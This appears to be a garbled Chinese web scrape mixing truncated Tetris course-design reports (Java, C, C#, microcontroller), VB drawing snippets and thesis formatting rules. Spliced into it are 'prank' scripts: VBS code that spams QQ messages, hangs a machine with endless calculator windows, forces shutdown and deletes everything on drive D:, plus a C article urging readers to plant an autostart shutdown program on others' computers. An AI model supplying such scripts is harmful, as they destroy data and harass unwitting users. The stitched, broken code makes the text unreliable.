Tetris类(主要类) 该类包含m a i n方法,应为应用程序的主类。该类用来创建游戏的用户界面,事件处理功能和menu餐单,用户信息的存储。整个程序从该类的m a i n方法开始执行。 成员变量:String userName; 构造方法:Tetris 内部类:Members,Tetrisblock Tetrisblok类: 用来设计游戏界面。游戏界面显示在由Tetrisblok类创建的整个用户界面的中(Center)区,游戏的即时分数、方块的效果图及方的预览功能都在整个类里面实现。用来封装俄罗斯小方块。一个方块的属性是由方块1位置即x和y的坐标、颜色决定的。 成员变量 private int blockType; Timer timer=null; private int turnState; private int x; private int y; private int i = 0; int j = 0; static int score = 0; int flag = 0; int delay=1000; // 定义已经放下的方块x=0-12,y=0-22; int[][] map = new int[14][24]; // 方块的形状第一组代表方块类型有S、Z、L、J、I、O、T 7种第二组代表旋转几次第三四组为方块矩阵 private final int shapes[][][] 成员方法:public void newblock() public void drawwall() public void newmap() public void newgame()
#include
C语言课程设计报告 俄罗斯方块程序设计报告 一、问题描述 俄罗斯方块(Tetris,俄文:Тетрис)是一款电视游戏机和掌上游戏机游戏,它由俄罗斯人阿列克谢·帕基特诺夫发明,故得此名。俄罗斯方块的基本规则是移动、旋转和摆放游戏自动输出的各种方块,使之排列成完整的一行或多行并且消除得分。 在本次设计中,要求支持键盘操作和若干种不同类型方块的旋转变换,并且界面上显示下一个方块的提示以及当前的玩家的得分,随着游戏的进行,等级越高,游戏难度越大,即方块的下落速度越快,相应的等级,等级越高,为玩家提供了不同的选择。 二、功能分析 I、俄罗斯方块游戏需要解决的问题包括: ⑴、随机产生方块并自动下移 ⑵、用Esc键退出游戏 ⑶、用键变体 ⑷、用键和键左右移动方块 ⑸、用空格键使游戏暂停
⑹、能正确判断满行并消行、计分、定级别 ⑺、设定游戏为不同级别,级别越高难度越大 II、俄罗斯方块游戏需要设计的功能函数包括: ⑴、声明俄罗斯方块的结构体 ⑵、函数原型声明 ⑶、制作游戏窗口 ⑷、制作俄罗斯方块 ⑸、判断是否可动 ⑹、随机产生俄罗斯方块类型的序号 ⑺、打印俄罗斯方块 ⑻、清除俄罗斯方块的痕迹 ⑼、判断是否满行并删除满行的俄罗斯方块 三、程序设计 1、程序总体结构设计 (1)、游戏方块预览功能。在游戏过程中,游戏界面右侧会有预览区。由于在此游戏中存在多种不同的游戏方块,所以在游戏方块预览区域中显示随机生成的游戏方块有利于游戏玩家控制游戏的策略。 (2)、游戏方块控制功能。通过各种条件的判断,实现对游戏方块的左移、右移、自由下落、旋转功能,以及行满消除行的功能。 (3)、游戏数据显示功能。在游戏玩家进行游戏过程中,需要按照一定的游戏规则给玩家计算游戏分数。例如,消除一行加100分,游戏分数达到一定数量
vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
基于单片机的俄罗斯方块设计与实现 摘要 随着单片机在手持娱乐设备上应用的发展,越来越多的应用在电子领域中,如:电子宠物,俄罗斯方块,智能IC卡等。俄罗斯方块是一款风靡全球的电视游戏机和掌上游戏机游戏,它由俄罗斯人阿列克谢·帕基特诺夫发明,故得此名。 本文选用STC89C52RC单片机作为系统的芯片,实现人机交互、娱乐等功能。选用LCD12864实现俄罗斯方块游戏界面、图形显示;选用独立按键实现游戏控制。本设计实现的基本功能是:用按键控制目标方块的变换与移动;消除一行并计分,方块堆满时结束游戏等俄罗斯方块的基本功能。 此次设计初期是在keil和proteus联合仿真中进行,编程语言为c语言,后期是进行实物焊接。 关键词:俄罗斯方块;单片机;控制;仿真
Abstract With the development of the single chip microcomputer application on handheld entertainment equipment, more and more application in the field of electronics.Such as: electronic pet, tetris, smart IC card, etc.Tetris is a popular global TV game and PSP games, it consists of the Russian alexei palmer jeter's invention, therefore the name. This article chooses STC89C52RC single-chip microcomputer as the system of chip, realize human-machine interaction, entertainment, etc.Selection of tetris game interface, graphical display LCD12864 implementation;Choose independent control game buttons.This design is to realize the basic function of: key control target square transformation and movement;Remove a row and scoring, square pile end game tetris, such as the basic functions. The early stage of design is done in keil and proteus simulation, programming language is the c language, is late for real welding. Keywords:Russian square;Microprocessor;Control;Simulation
来个房子的吧: Private Sub Command1_Click() Dim i As Integer, n As Integer Cls n = 5 For i = 1 To 3 Print String(4 - i, " ") & String(2 * i - 1, "*") & String(10, "*") Next For i = 1 To 4 Print " * *" & String(9, " ") & "*" Next Print " " & String(15, "*") End Sub VB 填充封闭区间 Private Declare Function FloodFill Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long Private Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Sub Command1_Click() Dim hBrush As Long Dim OldhBrush As Long hBrush = CreateSolidBrush(RGB(0, 0, 255))'要填充的颜色 OldhBrush = SelectObject(Me.hdc, hBrush) Me.Line (10, 10)-(100, 100), RGB(255, 0, 0), B FloodFill Me.hdc, 20, 20, RGB(255, 0, 0)'区间边界颜色 SelectObject Me.hdc, OldhBrush DeleteObject hBrush End Sub
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include
{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include
河南城建学院 课程设计报告书 专业:计算机科学与技术 课程设计名称:《Java高级应用》 题目:俄罗斯方块 班级: 学号: 设计者: 同组人员: 指导老师: 完成时间:2016年06月08
目录 一、设计目的 (1) 二、需求分析 (1) 2.1游戏功能的需求分析 (1) 2.2方块及旋转变换需求分析 (1) 2.3游戏运行需求分析 (1) 2.4消行和分数统计需求分析 (1) 三、模块分析及设计 (1) 3.1 总体设计思想 (1) 3.2功能模块 (1) 四、制作过程及要点 (1) 4.1 游戏一个单元块的设计与实现 (1) 4.2俄罗斯方块的控制设计 (1) 4.3 俄罗斯方块的设计与实现 (1) 4.4要点分析 (1) 五、设计总结 (1) 六、参考资料 (1)
一、设计目的 在个人电脑日益普及的今天,一些有趣的桌面游戏已经成为人们在使用计算机进行工作或学习之余休闲娱乐的首选,而俄罗斯方块游戏是人们最熟悉的小游戏之一,它以其趣味性强,易上手等诸多特点得到了大众的认可,因此开发此游戏软件可满足人们的一些娱乐的需求。此俄罗斯方块游戏可以为用户提供一个可在普通个人电脑上运行的,界面美观的,易于控制的俄罗斯方块游戏。 俄罗斯方块是家喻户晓的益智小游戏,它由俄罗斯人阿列克谢帕基特诺夫(Alexey Pazhitnov)在1984年6月利用空暇时间编写的游戏程序,故此得名。俄罗斯方块的基本规则是移动、旋转和摆放游戏随机产生的各种方块,使之排列成完整的一行或多行并且消除得分。它看似简单却变化无穷,俄罗斯方块上手极其简单,且游戏过程变化无穷,作为游戏本身很有魅力,但是要熟练掌握其中的操作和摆放技巧,难度却不低。此软件给用户提供了一个展现自己高超技艺的场所,在这里,它不仅放松自己,还能感受到游戏中的乐趣。游戏区域会从顶部不断随机落下7种方块类型的一种,游戏区域右上角有一个区域可以显示下一个方块的形状,玩家可以控制俄罗斯方块移动、旋转。通过玩家的操作,下坠物在游戏区域以“摆积木”的形式出现。下坠物在一行或多行堆满后就可以自动消除,消行后会得到相应的分数,如果当前下坠物堆积至窗口顶端,则游戏结束。
1、新建“.h”头文件,将“头文件” 代码粘贴至其中, 2、新建“.c”源文件,将“源代码” 代码粘贴到其中。 3、新建空白工程,将头文件和源代码 添加进去,调试使用。 //头文件 //1.自定义枚举类型,定义7种形态的游戏方块 typedef enum tetris_shape { ZShape=0, SShape, LineShape, TShape, SquareShape, LShape, MirroredLShape }shape; //2.函数声明 //(1)操作方块函数 int maxX();//取得当前方块的最大x坐标 int minX();//取得当前方块的最小x坐标 void turn_left();//当前方块逆时针旋转90度 void turn_right(); int out_of_table(); void transform(); int leftable(); int rightable(); int downable(); void move_left(); void move_right(); //(2)操作游戏桌面的函数 int add_to_table();
void remove_full(); //(3)控制游戏函数 void new_game(); void run_game(); void next_shape(); int random(int seed); //(4)绘图函数 void paint(); void draw_table(); //(5)其他功能函数 void key_down(WPARAM wParam); void resize(); void initialize(); void finalize(); //(6)回调函数,用来处理Windows消息 LRESULT CALLBACK WndProc (HWND,UINT,WPARAM,LPARAM); //源代码 //1.文件包含 #include
//不多说,直接可以拷贝下面的东西,就可以运行。 package day04; import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.applet.*; import https://www.doczj.com/doc/d112270968.html,ng.String.*; import https://www.doczj.com/doc/d112270968.html,ng.*; import java.io.*; public class ERSBlock extends JPanel implements ActionListener,KeyListener//应该是继承JPanel { static Button but[] = new Button[6]; static Button noStop = new Button("取消暂停"); static Label scoreLab = new Label("分数:"); static Label infoLab = new Label("提示:"); static Label speedLab = new Label("级数:"); static Label scoreTex = new Label("0"); static Label infoTex = new Label(" "); static Label speedTex = new Label("1");
static JFrame jf = new JFrame(); static MyTimer timer; static ImageIcon icon=new ImageIcon("resource/Block.jpg"); static JMenuBar mb = new JMenuBar(); static JMenu menu0 = new JMenu("游戏 "); static JMenu menu1 = new JMenu("帮助 "); static JMenuItem mi0 = new JMenuItem("新游戏"); static JMenuItem mi1 = new JMenuItem("退出"); static JMenuItem mi1_0 = new JMenuItem("关于"); static JDialog dlg_1; static JTextArea dlg_1_text = new JTextArea(); static int startSign= 0;//游戏开始标志 0 未开始 1 开始 2 暂停 static String butLab[] = {"开始游戏","重新开始","降低级数","提高级数","游戏暂停","退出游戏"}; static int game_body[][] = new int[19][10]; static int game_sign_x[] = new int[4];//用于记录4个方格的水平位置 static int game_sign_y[] = new int[4];//用于记录4个方格的垂直位置
西京学院2018届高职生毕业论文(设计) 1.毕业论文一律打印,采取a4纸张,页边距一律采取:上、下 2.5cm,左3cm,右1.5cm,行间距取固定值(设置值为28);字符间距为默认值(缩放100%,间距:标准),封面采用教务二处统一规定的封面。 2.字体要求 论文所用字体要求为宋体。 3.字号 第一层次题序和标题用小三号黑体字;第二层次题序和标题用四号黑体字;第三层次及以下题序和标题与第二层次同;正文用小四号宋体。 4.页眉及页码 毕业论文各页均加页眉,采用宋体五号宋体居中,打印“西京学院2018届高职生毕业论文(设计)”。页码从正文开始在页脚按阿拉伯数字(宋体小五号)连续编排,居中书写。 5.摘要及关键词 中文摘要及关键词:“摘要”二字采用三号字黑体、居中书写,“摘”与“要”之间空两格,内容采用小四号宋体。“关键词”三字采用小四号字黑体,顶格书写,一般为3—5个。 英文摘要应与中文摘要相对应,字体为小四号times new roman。 6.目录 “目录”二字采用三号字黑体、居中书写,“目”与“录”之间空两格,第一级层次采用小三号宋体字,其他级层次题目采用四号宋体字,目录为自动生成。 7.正文 正文的全部标题层次应整齐清晰,相同的层次应采用统一的字体表示。第一级为“一”、“二”、“三”、等,第二级为“1.1”、“1.2”、“1.3”等,第三级为“1.1.1”、“1.1.2”等。 8.参考文献 参考文献要另起一页,一律放在正文后,在文中要有引用标注,如×××[1]。
摘要 在现今电子信息高速发展的时代,电子游戏已经深入人们的日常生活,成为老少皆宜的娱乐方式。但是游戏设计结合了日新月异的技术,在一个产品中整合了复杂的设计、艺术、声音和软件,所以并不是人人皆知。直到今天,在中国从事游戏设计的人仍然很少,但是游戏行业的发展之快,远超如家电、汽车等传统行业,也正因为如此,游戏人才的教育、培养远落后于产业的发展。 俄罗斯方块是个老幼皆宜的小游戏,它实现由四块正方形的色块组成,然后存储在一个数组的四个元素中,计算机随机产生不同七种类型的方块,根据计算机时钟控制它在一定的时间不停的产生,用户根据键盘的四个方向键控制翻转、向左、向右和向下操作,(控制键的实现是由键盘的方向键的事件处理实现)。然后程序根据这七种方块堆叠成各种不同的模型。 论文描述了游戏的历史,开发此游戏的环境,游戏开发的意义。遵循软件工程的知识,从软件问题定义开始,接着进行可行性研究、需求分析、概要设计、详细设计,最后对软件进行了测试,整个开发过程贯穿软件工程的知识体系。 此次设计以Java为开发语言,在eclipse开发平台上进行游戏的设计与实践。 关键词:Java;eclipse;游戏;俄罗斯;
1. using System; using System.Collections.Generic; using System.Text; using System.Drawing;//add namespace俄罗斯方块 { public class Block { private short width; private short height; private short top; private short left; private int ID; //方块部件的ID public int[,] shape;//存储方块部件的形状,0为空白,1为有砖块 public Block()//构造函数 { Random randomGenerator = new Random(); int randomBlock = randomGenerator.Next(1, 6);//产生1—4的数 this.ID = randomBlock; switch (this.ID) { case 1: //横条形 this.Width = 4; this.Height = 1; this.Top = 0; this.Left = 3; shape = new int[this.Width, this.Height]; shape[0, 0] = 1; shape[1, 0] = 1; shape[2, 0] = 1; shape[3, 0] = 1; break; case 2://正方形 this.Width = 2; this.Height = 2; this.Top = 0; this.Left = 4; // Creates the new shape for this block. shape = new int[this.Width, this.Height]; shape[0, 0] = 1; shape[0, 1] = 1; shape[1, 0] = 1;shape[1, 1] = 1; break; case 3://T形 this.Width = 3; this.Height = 3; this.Top = 0; this.Left = 4; // Creates the new shape for this block. shape = new int[this.Width, this.Height]; shape[0, 0] = 1; shape[1, 0] = 1; shape[2, 0] = 1; shape[1, 1] = 1; shape[1, 2] = 1; break; case 4://L形 this.Width = 2; this.Height = 3; this.Top = 0; this.Left = 4;